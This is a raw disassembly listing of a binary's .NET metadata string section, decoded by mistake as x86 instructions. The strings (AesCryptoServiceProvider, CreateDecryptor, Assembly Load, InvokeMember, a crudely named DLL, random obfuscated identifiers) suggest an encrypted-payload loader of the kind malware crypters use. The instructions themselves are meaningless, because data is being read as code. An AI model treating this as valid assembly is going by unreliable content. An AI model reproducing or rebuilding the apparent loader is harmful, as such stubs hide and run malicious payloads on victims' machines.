407979:	6d                   	insl   (%dx),%es:(%edi)
40797a:	65 2e 43             	gs cs inc %ebx
40797d:	6f                   	outsl  %ds:(%esi),(%dx)
40797e:	6d                   	insl   (%dx),%es:(%edi)
40797f:	70 69                	jo     0x4079ea
407981:	6c                   	insb   (%dx),%es:(%edi)
407982:	65 72 53             	gs jb  0x4079d8
407985:	65 72 76             	gs jb  0x4079fe
407988:	69 63 65 73 00 6d 73 	imul   $0x736d0073,0x65(%ebx),%esp
40798f:	63 6f 72             	arpl   %ebp,0x72(%edi)
407992:	6c                   	insb   (%dx),%es:(%edi)
407993:	69 62 00 2e 63 74 6f 	imul   $0x6f74632e,0x0(%edx),%esp
40799a:	72 00                	jb     0x40799c
40799c:	56                   	push   %esi
40799d:	6f                   	outsl  %ds:(%esi),(%dx)
40799e:	69 64 00 53 79 73 74 	imul   $0x65747379,0x53(%eax,%eax,1),%esp
4079a5:	65
4079a6:	6d                   	insl   (%dx),%es:(%edi)
4079a7:	00 49 6e             	add    %cl,0x6e(%ecx)
4079aa:	74 33                	je     0x4079df
4079ac:	32 00                	xor    (%eax),%al
4079ae:	42                   	inc    %edx
4079af:	6f                   	outsl  %ds:(%esi),(%dx)
4079b0:	6f                   	outsl  %ds:(%esi),(%dx)
4079b1:	6c                   	insb   (%dx),%es:(%edi)
4079b2:	65 61                	gs popa
4079b4:	6e                   	outsb  %ds:(%esi),(%dx)
4079b5:	00 52 75             	add    %dl,0x75(%edx)
4079b8:	6e                   	outsb  %ds:(%esi),(%dx)
4079b9:	74 69                	je     0x407a24
4079bb:	6d                   	insl   (%dx),%es:(%edi)
4079bc:	65 43                	gs inc %ebx
4079be:	6f                   	outsl  %ds:(%esi),(%dx)
4079bf:	6d                   	insl   (%dx),%es:(%edi)
4079c0:	70 61                	jo     0x407a23
4079c2:	74 69                	je     0x407a2d
4079c4:	62 69 6c             	bound  %ebp,0x6c(%ecx)
4079c7:	69 74 79 41 74 74 72 	imul   $0x69727474,0x41(%ecx,%edi,2),%esi
4079ce:	69
4079cf:	62 75 74             	bound  %esi,0x74(%ebp)
4079d2:	65 00 44 65 62       	add    %al,%gs:0x62(%ebp,%eiz,2)
4079d7:	75 67                	jne    0x407a40
4079d9:	67 61                	addr16 popa
4079db:	62 6c 65 41          	bound  %ebp,0x41(%ebp,%eiz,2)
4079df:	74 74                	je     0x407a55
4079e1:	72 69                	jb     0x407a4c
4079e3:	62 75 74             	bound  %esi,0x74(%ebp)
4079e6:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
4079ea:	73 74                	jae    0x407a60
4079ec:	65 6d                	gs insl (%dx),%es:(%edi)
4079ee:	2e 44                	cs inc %esp
4079f0:	69 61 67 6e 6f 73 74 	imul   $0x74736f6e,0x67(%ecx),%esp
4079f7:	69 63 73 00 44 65 62 	imul   $0x62654400,0x73(%ebx),%esp
4079fe:	75 67                	jne    0x407a67
407a00:	67 69 6e 67 4d 6f 64 	imul   $0x65646f4d,0x67(%bp),%ebp
407a07:	65
407a08:	73 00                	jae    0x407a0a
407a0a:	43                   	inc    %ebx
407a0b:	6f                   	outsl  %ds:(%esi),(%dx)
407a0c:	6d                   	insl   (%dx),%es:(%edi)
407a0d:	56                   	push   %esi
407a0e:	69 73 69 62 6c 65 41 	imul   $0x41656c62,0x69(%ebx),%esi
407a15:	74 74                	je     0x407a8b
407a17:	72 69                	jb     0x407a82
407a19:	62 75 74             	bound  %esi,0x74(%ebp)
407a1c:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a20:	73 74                	jae    0x407a96
407a22:	65 6d                	gs insl (%dx),%es:(%edi)
407a24:	2e 52                	cs push %edx
407a26:	75 6e                	jne    0x407a96
407a28:	74 69                	je     0x407a93
407a2a:	6d                   	insl   (%dx),%es:(%edi)
407a2b:	65 2e 49             	gs cs dec %ecx
407a2e:	6e                   	outsb  %ds:(%esi),(%dx)
407a2f:	74 65                	je     0x407a96
407a31:	72 6f                	jb     0x407aa2
407a33:	70 53                	jo     0x407a88
407a35:	65 72 76             	gs jb  0x407aae
407a38:	69 63 65 73 00 47 75 	imul   $0x75470073,0x65(%ebx),%esp
407a3f:	69 64 41 74 74 72 69 	imul   $0x62697274,0x74(%ecx,%eax,2),%esp
407a46:	62
407a47:	75 74                	jne    0x407abd
407a49:	65 00 53 74          	add    %dl,%gs:0x74(%ebx)
407a4d:	72 69                	jb     0x407ab8
407a4f:	6e                   	outsb  %ds:(%esi),(%dx)
407a50:	67 00 41 73          	add    %al,0x73(%bx,%di)
407a54:	73 65                	jae    0x407abb
407a56:	6d                   	insl   (%dx),%es:(%edi)
407a57:	62 6c 79 46          	bound  %ebp,0x46(%ecx,%edi,2)
407a5b:	69 6c 65 56 65 72 73 	imul   $0x69737265,0x56(%ebp,%eiz,2),%ebp
407a62:	69
407a63:	6f                   	outsl  %ds:(%esi),(%dx)
407a64:	6e                   	outsb  %ds:(%esi),(%dx)
407a65:	41                   	inc    %ecx
407a66:	74 74                	je     0x407adc
407a68:	72 69                	jb     0x407ad3
407a6a:	62 75 74             	bound  %esi,0x74(%ebp)
407a6d:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a71:	73 74                	jae    0x407ae7
407a73:	65 6d                	gs insl (%dx),%es:(%edi)
407a75:	2e 52                	cs push %edx
407a77:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
407a7a:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
407a7f:	6e                   	outsb  %ds:(%esi),(%dx)
407a80:	00 54 61 72          	add    %dl,0x72(%ecx,%eiz,2)
407a84:	67 65 74 46          	addr16 gs je 0x407ace
407a88:	72 61                	jb     0x407aeb
407a8a:	6d                   	insl   (%dx),%es:(%edi)
407a8b:	65 77 6f             	gs ja  0x407afd
407a8e:	72 6b                	jb     0x407afb
407a90:	41                   	inc    %ecx
407a91:	74 74                	je     0x407b07
407a93:	72 69                	jb     0x407afe
407a95:	62 75 74             	bound  %esi,0x74(%ebp)
407a98:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
407a9c:	73 74                	jae    0x407b12
407a9e:	65 6d                	gs insl (%dx),%es:(%edi)
407aa0:	2e 52                	cs push %edx
407aa2:	75 6e                	jne    0x407b12
407aa4:	74 69                	je     0x407b0f
407aa6:	6d                   	insl   (%dx),%es:(%edi)
407aa7:	65 2e 56             	gs cs push %esi
407aaa:	65 72 73             	gs jb  0x407b20
407aad:	69 6f 6e 69 6e 67 00 	imul   $0x676e69,0x6e(%edi),%ebp
407ab4:	53                   	push   %ebx
407ab5:	68 75 74 75 70       	push   $0x70757475
407aba:	5f                   	pop    %edi
407abb:	41                   	inc    %ecx
407abc:	6e                   	outsb  %ds:(%esi),(%dx)
407abd:	64 5f                	fs pop %edi
407abf:	46                   	inc    %esi
407ac0:	75 63                	jne    0x407b25
407ac2:	6b 6f 66 2e          	imul   $0x2e,0x66(%edi),%ebp
407ac6:	64 6c                	fs insb (%dx),%es:(%edi)
407ac8:	6c                   	insb   (%dx),%es:(%edi)
407ac9:	00 3c 4d 6f 64 75 6c 	add    %bh,0x6c75646f(,%ecx,2)
407ad0:	65 3e 00 56 4c       	gs add %dl,%ds:0x4c(%esi)
407ad5:	68 68 4b 70 75       	push   $0x75704b68
407ada:	62 6e 71             	bound  %ebp,0x71(%esi)
407add:	35 59 37 34 6b       	xor    $0x6b343759,%eax
407ae2:	6f                   	outsl  %ds:(%esi),(%dx)
407ae3:	35 36 00 4f 62       	xor    $0x624f0036,%eax
407ae8:	6a 65                	push   $0x65
407aea:	63 74 00 42          	arpl   %esi,0x42(%eax,%eax,1)
407aee:	00 41 00             	add    %al,0x0(%ecx)
407af1:	61                   	popa
407af2:	6b 64 6a 61 7a       	imul   $0x7a,0x61(%edx,%ebp,2),%esp
407af7:	61                   	popa
407af8:	64 61                	fs popa
407afa:	64 61                	fs popa
407afc:	66 61                	popaw
407afe:	77 64                	ja     0x407b64
407b00:	61                   	popa
407b01:	77 64                	ja     0x407b67
407b03:	61                   	popa
407b04:	77 64                	ja     0x407b6a
407b06:	61                   	popa
407b07:	64 61                	fs popa
407b09:	64 61                	fs popa
407b0b:	77 5f                	ja     0x407b6c
407b0d:	62 00                	bound  %eax,(%eax)
407b0f:	41                   	inc    %ecx
407b10:	73 73                	jae    0x407b85
407b12:	65 6d                	gs insl (%dx),%es:(%edi)
407b14:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
407b18:	42                   	inc    %edx
407b19:	79 74                	jns    0x407b8f
407b1b:	65 00 58 00          	add    %bl,%gs:0x0(%eax)
407b1f:	4b                   	dec    %ebx
407b20:	00 44 61 6b          	add    %al,0x6b(%ecx,%eiz,2)
407b24:	64 6a 61             	fs push $0x61
407b27:	7a 61                	jp     0x407b8a
407b29:	64 61                	fs popa
407b2b:	64 61                	fs popa
407b2d:	66 61                	popaw
407b2f:	77 64                	ja     0x407b95
407b31:	61                   	popa
407b32:	77 64                	ja     0x407b98
407b34:	61                   	popa
407b35:	77 64                	ja     0x407b9b
407b37:	61                   	popa
407b38:	64 61                	fs popa
407b3a:	64 61                	fs popa
407b3c:	77 45                	ja     0x407b83
407b3e:	43                   	inc    %ebx
407b3f:	58                   	pop    %eax
407b40:	45                   	inc    %ebp
407b41:	53                   	push   %ebx
407b42:	00 44 61 74          	add    %al,0x74(%ecx,%eiz,2)
407b46:	61                   	popa
407b47:	00 6b 65             	add    %ch,0x65(%ebx)
407b4a:	79 00                	jns    0x407b4c
407b4c:	41                   	inc    %ecx
407b4d:	65 73 43             	gs jae 0x407b93
407b50:	72 79                	jb     0x407bcb
407b52:	70 74                	jo     0x407bc8
407b54:	6f                   	outsl  %ds:(%esi),(%dx)
407b55:	53                   	push   %ebx
407b56:	65 72 76             	gs jb  0x407bcf
407b59:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
407b60:	69 64 65 72 00 53 79 	imul   $0x73795300,0x72(%ebp,%eiz,2),%esp
407b67:	73
407b68:	74 65                	je     0x407bcf
407b6a:	6d                   	insl   (%dx),%es:(%edi)
407b6b:	2e 53                	cs push %ebx
407b6d:	65 63 75 72          	arpl   %esi,%gs:0x72(%ebp)
407b71:	69 74 79 2e 43 72 79 	imul   $0x70797243,0x2e(%ecx,%edi,2),%esi
407b78:	70
407b79:	74 6f                	je     0x407bea
407b7b:	67 72 61             	addr16 jb 0x407bdf
407b7e:	70 68                	jo     0x407be8
407b80:	79 00                	jns    0x407b82
407b82:	53                   	push   %ebx
407b83:	79 73                	jns    0x407bf8
407b85:	74 65                	je     0x407bec
407b87:	6d                   	insl   (%dx),%es:(%edi)
407b88:	2e 43                	cs inc %ebx
407b8a:	6f                   	outsl  %ds:(%esi),(%dx)
407b8b:	72 65                	jb     0x407bf2
407b8d:	00 43 00             	add    %al,0x0(%ebx)
407b90:	54                   	push   %esp
407b91:	79 70                	jns    0x407c03
407b93:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
407b97:	76 6f                	jbe    0x407c08
407b99:	6b 65 4d 65          	imul   $0x65,0x4d(%ebp),%esp
407b9d:	6d                   	insl   (%dx),%es:(%edi)
407b9e:	62 65 72             	bound  %esp,0x72(%ebp)
407ba1:	00 42 69             	add    %al,0x69(%edx)
407ba4:	6e                   	outsb  %ds:(%esi),(%dx)
407ba5:	64 69 6e 67 46 6c 61 	imul   $0x67616c46,%fs:0x67(%esi),%ebp
407bac:	67
407bad:	73 00                	jae    0x407baf
407baf:	42                   	inc    %edx
407bb0:	69 6e 64 65 72 00 63 	imul   $0x63007265,0x64(%esi),%ebp
407bb7:	34 6f                	xor    $0x6f,%al
407bb9:	74 41                	je     0x407bfc
407bbb:	53                   	push   %ebx
407bbc:	32 51 36             	xor    0x36(%ecx),%dl
407bbf:	70 61                	jo     0x407c22
407bc1:	71 72                	jno    0x407c35
407bc3:	56                   	push   %esi
407bc4:	50                   	push   %eax
407bc5:	63 4a 79             	arpl   %ecx,0x79(%edx)
407bc8:	00 6d 6f             	add    %ch,0x6f(%ebp)
407bcb:	4b                   	dec    %ebx
407bcc:	4b                   	dec    %ebx
407bcd:	59                   	pop    %ecx
407bce:	69 55 6e 52 35 56 42 	imul   $0x42563552,0x6e(%ebp),%edx
407bd5:	53                   	push   %ebx
407bd6:	6e                   	outsb  %ds:(%esi),(%dx)
407bd7:	6b 55 41 54          	imul   $0x54,0x41(%ebp),%edx
407bdb:	00 4c 6f 61          	add    %cl,0x61(%edi,%ebp,2)
407bdf:	64 00 4c 56 74       	add    %cl,%fs:0x74(%esi,%edx,2)
407be4:	4c                   	dec    %esp
407be5:	37                   	aaa
407be6:	39 71 51             	cmp    %esi,0x51(%ecx)
407be9:	50                   	push   %eax
407bea:	76 34                	jbe    0x407c20
407bec:	4b                   	dec    %ebx
407bed:	36 50                	ss push %eax
407bef:	30 6f 68             	xor    %ch,0x68(%edi)
407bf2:	47                   	inc    %edi
407bf3:	00 64 68 51          	add    %ah,0x51(%eax,%ebp,2)
407bf7:	77 66                	ja     0x407c5f
407bf9:	66 76 37             	data16 jbe 0x407c33
407bfc:	4f                   	dec    %edi
407bfd:	52                   	push   %edx
407bfe:	4b                   	dec    %ebx
407bff:	4c                   	dec    %esp
407c00:	64 47                	fs inc %edi
407c02:	78 65                	js     0x407c69
407c04:	74 33                	je     0x407c39
407c06:	00 6a 39             	add    %ch,0x39(%edx)
407c09:	68 61 65 4d 46       	push   $0x464d6561
407c0e:	31 31                	xor    %esi,(%ecx)
407c10:	65 35 37 6b 67 37    	gs xor $0x37676b37,%eax
407c16:	4e                   	dec    %esi
407c17:	68 66 00 53 79       	push   $0x79530066
407c1c:	6d                   	insl   (%dx),%es:(%edi)
407c1d:	6d                   	insl   (%dx),%es:(%edi)
407c1e:	65 74 72             	gs je  0x407c93
407c21:	69 63 41 6c 67 6f 72 	imul   $0x726f676c,0x41(%ebx),%esp
407c28:	69 74 68 6d 00 73 65 	imul   $0x74657300,0x6d(%eax,%ebp,2),%esi
407c2f:	74
407c30:	5f                   	pop    %edi
407c31:	4b                   	dec    %ebx
407c32:	65 79 53             	gs jns 0x407c88
407c35:	69 7a 65 00 51 70 47 	imul   $0x47705100,0x65(%edx),%edi
407c3c:	4b                   	dec    %ebx
407c3d:	37                   	aaa
407c3e:	33 79 52             	xor    0x52(%ecx),%edi
407c41:	42                   	inc    %edx
407c42:	6b 41 30 56          	imul   $0x56,0x30(%ecx),%eax
407c46:	77 71                	ja     0x407cb9
407c48:	64 46                	fs inc %esi
407c4a:	55                   	push   %ebp
407c4b:	00 73 65             	add    %dh,0x65(%ebx)
407c4e:	74 5f                	je     0x407caf
407c50:	4b                   	dec    %ebx
407c51:	65 79 00             	gs jns 0x407c54
407c54:	4c                   	dec    %esp
407c55:	44                   	inc    %esp
407c56:	77 4e                	ja     0x407ca6
407c58:	6a 4e                	push   $0x4e
407c5a:	37                   	aaa
407c5b:	32 4d 6a             	xor    0x6a(%ebp),%cl
407c5e:	5a                   	pop    %edx
407c5f:	34 46                	xor    $0x46,%al
407c61:	68 6a 76 41 6d       	push   $0x6d41766a
407c66:	00 43 69             	add    %al,0x69(%ebx)
407c69:	70 68                	jo     0x407cd3
407c6b:	65 72 4d             	gs jb  0x407cbb
407c6e:	6f                   	outsl  %ds:(%esi),(%dx)
407c6f:	64 65 00 73 65       	fs add %dh,%gs:0x65(%ebx)
407c74:	74 5f                	je     0x407cd5
407c76:	4d                   	dec    %ebp
407c77:	6f                   	outsl  %ds:(%esi),(%dx)
407c78:	64 65 00 44 6d 45    	fs add %al,%gs:0x45(%ebp,%ebp,2)
407c7e:	65 67 46             	gs addr16 inc %esi
407c81:	6c                   	insb   (%dx),%es:(%edi)
407c82:	48                   	dec    %eax
407c83:	30 47 44             	xor    %al,0x44(%edi)
407c86:	4f                   	dec    %edi
407c87:	71 73                	jno    0x407cfc
407c89:	31 79 73             	xor    %edi,0x73(%ecx)
407c8c:	58                   	pop    %eax
407c8d:	00 43 72             	add    %al,0x72(%ebx)
407c90:	65 61                	gs popa
407c92:	74 65                	je     0x407cf9
407c94:	44                   	inc    %esp
407c95:	65 63 72 79          	arpl   %esi,%gs:0x79(%edx)
407c99:	70 74                	jo     0x407d0f
407c9b:	6f                   	outsl  %ds:(%esi),(%dx)
407c9c:	72 00                	jb     0x407c9e
407c9e:	49                   	dec    %ecx
407c9f:	43                   	inc    %ebx
407ca0:	72 79                	jb     0x407d1b
407ca2:	70 74                	jo     0x407d18
407ca4:	6f                   	outsl  %ds:(%esi),(%dx)
407ca5:	54                   	push   %esp
407ca6:	72 61                	jb     0x407d09
407ca8:	6e                   	outsb  %ds:(%esi),(%dx)
407ca9:	73 66                	jae    0x407d11
407cab:	6f                   	outsl  %ds:(%esi),(%dx)
407cac:	72 6d                	jb     0x407d1b
407cae:	00 6b 46             	add    %ch,0x46(%ebx)
407cb1:	66 70 71             	data16 jo 0x407d25
407cb4:	4d                   	dec    %ebp
407cb5:	67 56                	addr16 push %esi
407cb7:	73 34                	jae    0x407ced